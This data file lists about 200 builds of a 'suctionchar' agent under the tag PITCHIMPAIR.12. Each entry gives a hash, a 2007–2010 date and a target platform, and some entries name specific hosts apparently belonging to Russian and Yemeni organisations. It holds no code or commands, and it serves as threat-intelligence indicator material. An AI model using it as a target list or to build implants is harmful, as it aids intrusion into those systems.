+0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.6_x86-linux-fedora6 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.8_x86-linux-centos-5.2 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.10_x86-linux-tilttop-gate-nto2.vniitf.ru +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.1_x86-linux-debian-4.0 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.2_x86-linux-tilttop-ns-vega.int.ru +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.3_x86-linux-centos-5.2 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.5_suctionchar_x86_linux_centos_4.5 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.8_x86-linux-suse-9.3 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.9_x86-linux-tilttop-ns.snz.ru +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.2_x86-linux-fedora7 +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.3_x86-linux-redhat-7.3 +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.4_x86-linux-redhat-8.0 +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.5_x86-linux-suse-10.0 +A9E256D3A392D72221329719CAB6992DC1F94E20 Wed Jan 7 13:53:38 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.7_sparc-sun-solaris2.8 +30690F994EE2F03DE8453E661411B6F54C58098C Wed Jan 7 14:50:30 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.8_sparc-sun-solaris2.9 +E727D54E24453A3D836FA7C6307DA4665041457A Wed Jan 7 15:25:35 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.9_sparc-sun-solaris2.10 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.10_x86-linux-fedora6 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.12_x86-linux-tilttop-redhouse.vega-int.ru +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.13_x86-linux-tilttop-bill.vega-int.ru +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.1_x86-linux-alt-4.0 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.2_x86-linux-ubuntu-7.04 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.6_x86-linux-slackware-9.1 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.7_x86-linux-centos-5.1 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.9_x86-linux-crypticsentinel-mailser +15ECAF3FEB6F4AFF8CBF6E77355F9496F18DD42A Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.36.1_x86-linux-fedora3 +15ECAF3FEB6F4AFF8CBF6E77355F9496F18DD42A Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.36.2_x86-linux-centos-5.2 +15ECAF3FEB6F4AFF8CBF6E77355F9496F18DD42A Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.36.5_x86-linux-centos-4.3 +15ECAF3FEB6F4AFF8CBF6E77355F9496F18DD42A Fri Feb 13 15:06:41 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.36.7_x86-linux-redhat-enterprise-3.0 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.1_suctionchar_x86_linux_fedora5 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.2_suctionchar_x86_linux_tilttop_gammach70.chel.su +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.3_x86-linux-redhat-enterprise-4.0 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.4_x86-linux-vinifera-bs003v01 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.5_suctionchar_x86_linux_debian_4.0 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.6_x86-linux-suse-enterprise-9 +ECFD97325BE4C0E25501BBC8988E1AA6997FDC2B Fri Feb 20 15:00:39 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.37.8_x86-linux-debian-3.1 +E8672CFE83C1803A243BC697E941FE91A170D0D3 Fri Feb 27 17:01:03 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.38.1_x86-freebsd-6.1-wickedviper +A5208BB542036E2FA089D95C219CDD9FAF028242 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.1_x86-linux-suse-10.3 +A5208BB542036E2FA089D95C219CDD9FAF028242 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.2_x86-linux-fedora7 +A5208BB542036E2FA089D95C219CDD9FAF028242 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.3_x86-linux-fedora6 +A5208BB542036E2FA089D95C219CDD9FAF028242 Tue Mar 24 14:23:31 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.4_x86-linux-slackware-12.0 +E00A119900507B284D63BF0B78C32823B5C8247D Wed Apr 8 01:15:31 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.5_sparc-sun-solaris2.8 +607A5A23CB16159F44FCF77331DB4CADB24B349E Thu Apr 9 03:24:15 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.6_sparc-sun-solaris2.9 +2EC02310E2B1015199FE9C3F99A630087B545E5C Wed Apr 15 20:19:15 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.7_sparc-sun-solaris2.10 +2EC02310E2B1015199FE9C3F99A630087B545E5C Wed Apr 15 20:19:15 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.39.8_sparc-sun-solaris2.10 +A634B13965DD07FA6C3936B5A483E3D0739F3FCF Fri Jan 19 17:53:09 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.4.1_x86-linux-redhat-enterprise-3.0 +A634B13965DD07FA6C3936B5A483E3D0739F3FCF Fri Jan 19 17:53:09 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.4.2_x86-linux-redhat-7.2 +F2DAC937F7A16BD35AAC599F2FC83F4B9369B0AB Wed Jan 24 20:42:53 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.4.3_x86-linux-2.4-tilttop-comet_emx_ns +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.10_x86-linux-asianux-1.0 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.11_x86-linux-suse-10.0 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.12_x86-linux-ubuntu-8.04 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.13_x86-linux-alt-2.4 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.14_x86-linux-redhat-7.2 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.15_x86-linux-slackware-11.0 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.16_x86-linux-vinifera-bs101v01 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.17_x86-linux-redhat-enterprise-4.0 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.19_x86-linux-redhat-9.0 +D3CE874DA55CFD6C892E62008CCEC222F22A0670 Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.1_x86-linux-centos-4.4 +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.20_suctionchar_x86_linux_toadyteal_rowdaco.com +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.21_x86-linux-centos-5.1 +D3CE874DA55CFD6C892E62008CCEC222F22A0670 Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.2_x86-linux-centos-4.6 +D3CE874DA55CFD6C892E62008CCEC222F22A0670 Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.3_x86-linux-tilttop-gate2 +D3CE874DA55CFD6C892E62008CCEC222F22A0670 Wed Jun 10 22:54:56 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.5_x86-linux-charmshrill-server +849693A57DA43DEC5C3022AFA4020ACA98AB646A Fri Jun 12 19:51:43 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.6_x86-linux-wolfacid_iq-lunasat-qos +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.7_x86-linux-fataltouch-srv-udprf-2.udprf.ru +09017425E3037318F1339A64465B3E024B2AE3B5 Fri Jul 31 17:37:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.40.9_x86-linux-suse-10.3 +C43E7BAEAB99B10DC1D1135FAF4715871DAD926C Thu Mar 1 19:10:07 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.5.11_x86-linux-redhat-9.0 +C43E7BAEAB99B10DC1D1135FAF4715871DAD926C Thu Mar 1 19:10:07 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.5.3_x86-linux-fedora4 +6599EBE34956C09EC8FA9B6265AA7324B2F2326D Fri Feb 23 23:21:44 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.5.6_sparc-sun-solaris2.8 +FBA3E4D6374A57ED64597DD8D5E1C329FB0B9004 Mon Feb 26 21:41:37 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.5.9_sparc-sun-solaris2.10 +7C39D60D02DC63C117BB3E78D9BD0B885612B62E Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.6.2_x86-linux-fedora2 +7C39D60D02DC63C117BB3E78D9BD0B885612B62E Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.6.3_x86-linux-fedora3 +7C39D60D02DC63C117BB3E78D9BD0B885612B62E Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.6.4_x86-linux-debian-3.1 +01B29A3AF6B69181BC1278F790E31054EB773AAB Mon Mar 19 19:04:50 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.7.1_x86-linux-vinifera-mail-npost +187ACBEF1B21D215A4541FDF4F9E58CCD955573F Thu Mar 22 16:36:18 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.7.5_x86-linux-tilttop-gate.itec +995FE5E88E127642F4B8B9CED07DABB45FB9C517 Tue Apr 17 00:38:40 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.1_i386-pc-solaris2.8 +F4F11054E2813FB743E20EAAF9FD19CC21FB36DA Tue Apr 17 01:15:03 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.2_i386-pc-solaris2.9 +662FBC384BBF08E00CA28056E52EC6D1F48ACE93 Wed Apr 18 14:27:02 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.3_x86-linux-redhat-7.3 +662FBC384BBF08E00CA28056E52EC6D1F48ACE93 Wed Apr 18 14:27:02 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.4_x86-linux-tilttop-gamma.ch70.chel.su +2BBC3032167262035B9FBED2DCDD734659ED87B5 Wed Jun 20 18:28:15 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.7_sparc-sun-solaris2.9 +F9C04A07CBFB0D1C82D2FE4ADA2A98A575CD5F04 Thu Jun 21 19:50:30 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.8.8_sparc-sun-solaris2.8 +3130DBB64A50F00D7631B2F6FA645446D30BB9C1 Thu Jun 14 15:52:56 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.9.1_x86-linux-tilttop-tormoz.vniitf.ru +79035643EB4C3E5264EA0B653E8CB923CD1FAB0B Fri Jun 22 13:10:20 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.9.4_x86-linux-suse-10.0 +09899023ECC614D4E4004DF090C9AA48EC1D2C3D Thu Jul 5 14:55:42 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.9.6_x86-linux-tilttop-ns.snz.ru +B148CB3CE4620F72B53076ECC71C2E34C7422AE2 Fri Jul 6 14:53:48 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.9.7_x86-linux-fedora3 +0FC8260D3697F78E4C1F6F7F506A23B00396FE9E Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.10_sparc-sun-solaris2.9 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.11_x86-linux-centos-4.7 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.12_x86-linux-asianux-1.0 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.13_x86-linux-slackware-10.1 +0FC8260D3697F78E4C1F6F7F506A23B00396FE9E Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.14_sparc-sun-solaris2.9 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.15_x86-linux-ubuntu-8.04 +32CFB33DD03CFDC904318260661C0E0D7899EEC5 Wed Sep 23 19:57:13 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.2_sparc-sun-solaris2.8 +0FC8260D3697F78E4C1F6F7F506A23B00396FE9E Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.3_sparc-sun-solaris2.9 +125ACBFC555315AB0E6E362F492BBC2F61FBE47A Wed Sep 23 20:07:19 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.4_sparc-sun-solaris2.10 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.5_x86-linux-suse-enterprise-9 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.7_x86-linux-centos-5.3 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.8_x86-linux-debian-4.0 +A24B6C548057F9990BCF3040B0457F5894BA3A23 Tue Oct 6 21:28:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.1.9_x86-linux-centos-5.2 +F7633DE9B723FC0A96E853010D4536550C8000D7 Tue Oct 13 17:02:57 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.2.4_x86-linux-fedora9 +68D3D32AD9381DC094BF0E4B06C2DF76F4573100 Wed Oct 14 19:22:13 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.3.1_x86-linux-debian-5.0 +68D3D32AD9381DC094BF0E4B06C2DF76F4573100 Wed Oct 14 19:22:13 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.3.3_x86-linux-fedora8 +25B59C21A7338B38B635E5399CBB9E5DA31BD566 Mon Oct 19 20:16:47 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.4.3_x86-linux-redhat-7.3 +25B59C21A7338B38B635E5399CBB9E5DA31BD566 Mon Oct 19 20:16:47 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.4.5_x86-linux-suse-enterprise-9 +DB04F06428D507C788458BF3849E871B9DB65E8A Thu Nov 5 17:30:13 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.7.1_x86_64-linux-redhat-enterprise-4.0 +DB04F06428D507C788458BF3849E871B9DB65E8A Thu Nov 5 17:30:13 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.7.4_x86_64-linux-redhat-enterprise-5.0 +809D755F0D586F02DBF960BAB4A2712E4ED27462 Mon Nov 9 23:58:28 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.0.8.1_x86-linux-fedora10 +F1050A6C69912F135F9E4E0E83C97980C01C1035 Wed Dec 30 23:01:00 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.11_x86_64-linux-redhat-enterprise-5.0 +FDB4593E10689AAAC44F9D9B9B1C8A7BDDF1DF85 Wed Dec 30 23:35:45 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.12_x86-linux-fedora10 +29FF9A25D92096E53F97800DAE6443C45C1F0CF0 Wed Dec 30 23:41:10 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.13_x86-linux-fedora9 +3FA620C697A46CEC6D5949B54D045B4F95A087A5 Wed Dec 30 23:46:41 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.14_x86-linux-fedora8 +C1EA4624AD4491D4B40E821FAC46F1E09694E9C9 Wed Dec 30 23:57:16 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.16_x86-linux-debian-4.0 +A8CB7EFD27DC25517DE8A39E2837C6C13DE060E6 Thu Dec 31 00:02:37 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.17_x86-linux-debian-5.0 +72F93EB5F15FA693B5B49E1E464FECF94C2CB679 Thu Dec 31 00:20:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.19_x86-linux-suse-enterprise-9 +F1847722BCB7FE67B6F9D951EBBCC870F8392B70 Fri Jan 8 22:16:55 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.20_x86-linux-asianux-1.0 +AC4B54567682DE1C09B4A173E67993E1A83CAC31 Fri Jan 8 22:27:23 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.22_x86-linux-slackware-10.1 +4E12A9E1183CC8500FDE3259265E0D66F63BBEE4 Fri Jan 8 22:38:48 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.23_x86-linux-slackware-11.0 +B95AF1EA3C6FAC1D54CA65BE9C23C91024CDD7E4 Fri Jan 8 21:30:21 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.25_x86-linux-suse-10.1 +4D61815D4E0E2811256E225F6B1642F550199FC4 Mon Jan 11 20:41:02 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.26_x86_64-linux-centos-5.1 +23E58B7F127629BDFA8D9D74CD6DF14783C56CED Fri Jan 8 21:37:57 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.27_x86-linux-suse-10.2 +4D61815D4E0E2811256E225F6B1642F550199FC4 Mon Jan 11 20:41:02 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.28_x86_64-linux-redhat-enterprise-5.0 +EDF62CCD16B1BDD815B613080E26ABB070F78457 Wed Dec 30 22:43:24 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.29_x86_64-linux-centos-5.2 +DA3F63AAFB114C302F14F787AF784189AAE35889 Wed Dec 30 22:12:48 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.2_sparc-sun-solaris2.8 +AD21BAA18F27E0FDBB4ABADCA4FA05BDB24EF8DB Wed Jan 20 23:08:55 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.30_x86-linux-suse-9.3 +CEE84FE860585C6979C308BBB6F8F0AD5AF4BB2F Wed Dec 30 22:18:10 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.3_sparc-sun-solaris2.9 +E441D215673BDB4DF1E5E246CB71A293419DBB5A Wed Dec 30 22:27:08 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.5_x86-linux-centos-4.7 +23C928FBCFA21A2B5650FDB6D5B033C9ED7C3DBC Wed Dec 30 22:32:50 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.6_x86-linux-centos-5.2 +579F168C116B641EE3DE2EBA01FFBAD1FA016D37 Wed Dec 30 22:37:25 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.7_x86-linux-centos-5.3 +EDF62CCD16B1BDD815B613080E26ABB070F78457 Wed Dec 30 22:43:24 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.8_x86_64-linux-centos-5.2 +C5987ABF79A03679919E11D507DDCF12AC711E6F Wed Dec 30 22:48:05 2009 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.0.9_suctionchar_x86_64_linux_centos_5.3 +B1E99E80DB52187D148544BCF474EEE5B0D622EF Thu Feb 25 16:45:20 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.10_x86-freebsd-5.4 +4850550B19FC3A6790161D3967C15564429A6DD3 Thu Feb 25 21:37:31 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.12_x86-freebsd-6.1 +4BBE0D0864D2279429C1DD78BB5530E707EC4A60 Mon Mar 1 20:04:32 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.13_x86-freebsd-6.2 +EE688A66597F2D1FC10F7A0FB6ADBB735E22701E Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.15_x86-linux-centos-5.4 +47DEDBEB8F9DA91B398D0FB561A53D1919A041DE Thu Mar 4 14:15:20 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.16_x86-freebsd-6.0 +EE688A66597F2D1FC10F7A0FB6ADBB735E22701E Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.17_x86-linux-straitshooter-ibs-bk +EE688A66597F2D1FC10F7A0FB6ADBB735E22701E Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.18_x86-linux-centos-4.8 +EE688A66597F2D1FC10F7A0FB6ADBB735E22701E Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.19_x86-linux-darkthunder-nsp.yemen.net.ye +5FFEB716A13FBCAD784501361ABDD91FAC25BD89 Fri Jan 22 19:55:51 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.1_x86-freebsd-5.3 +19FDDB60BDAA596BBE32BA75EE7B620FF598F233 Fri Jan 22 22:56:11 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.2_x86-freebsd-7.1 +7B097902B26E7CD0F6D2FDF191FABD72110DD883 Fri Jan 22 23:17:57 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.3_x86-freebsd-7.2 +737B7898BB4A6C20F52692F452DD2294FC1F933F Wed Jan 27 20:59:35 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.5_x86-freebsd-7.0 +EE688A66597F2D1FC10F7A0FB6ADBB735E22701E Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.6_x86-linux-centos-4.8 +EE688A66597F2D1FC10F7A0FB6ADBB735E22701E Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.7_x86-linux-slackware-10.2 +EE688A66597F2D1FC10F7A0FB6ADBB735E22701E Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.8_x86-linux-steelsnob-babar +B2D473572ABD8A09FFF2FDEFA166E8AA1966A252 Tue Feb 23 16:44:03 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.1.9_x86_64-linux-redhat-enterprise-5.0 +273E5435F7459CA4D0E5D288C7627A37500BB9DE Wed Mar 3 21:02:21 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.2.1_i386-pc-solaris2.10 +0F1D848392C3A6D736A5964FA3DF67DBDEB9EED8 Tue Mar 9 19:35:17 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.2.2_x86_64-linux-debian-5.0 +0F1D848392C3A6D736A5964FA3DF67DBDEB9EED8 Tue Mar 9 19:35:17 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.2.3_x86_64-linux-centos-5.0 +0F1D848392C3A6D736A5964FA3DF67DBDEB9EED8 Tue Mar 9 19:35:17 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.2.4_x86_64-linux-scientific-5.1 +1986C6664ACF661D6D89CCE5FDB5A591303D1E6B Sat Mar 13 00:08:21 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.3.1_x86-freebsd-5.5 +93CBDC7D86844E08660FDBF0F84C595F738DE164 Tue Mar 16 21:14:34 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.3.3_x86_64-linux-suse-10.2 +AFA0DE0D7E13606BD91745FD83E60C4C722E1CBF Wed Mar 17 18:27:30 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.3.4_x86-linux-redhat-enterprise-5.4 +F8383313107CBB743CF5311AB8E47D00440F8EF2 Thu Apr 29 14:38:41 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.10_x86_64-linux-vinifera-ie104 +F8383313107CBB743CF5311AB8E47D00440F8EF2 Thu Apr 29 14:38:41 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.11_x86_64-linux-centos-5.4 +7E77BBAC6AC49C79FB3395F8E98045C98C140255 Thu May 20 12:33:23 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.12_x86-linux-redhat-enterprise-5.2 +7E77BBAC6AC49C79FB3395F8E98045C98C140255 Thu May 20 12:33:23 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.13_x86-linux-centos-4.8 +7E77BBAC6AC49C79FB3395F8E98045C98C140255 Thu May 20 12:33:23 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.14_x86-linux-ubuntu-8.04 +642854C9034BB79E9EF9215E9AD188899E0D78A7 Thu Jun 3 21:07:02 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.16_x86-linux-redhat-enterprise-4.0 +642854C9034BB79E9EF9215E9AD188899E0D78A7 Thu Jun 3 21:07:02 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.17_x86-linux-centos-3.6 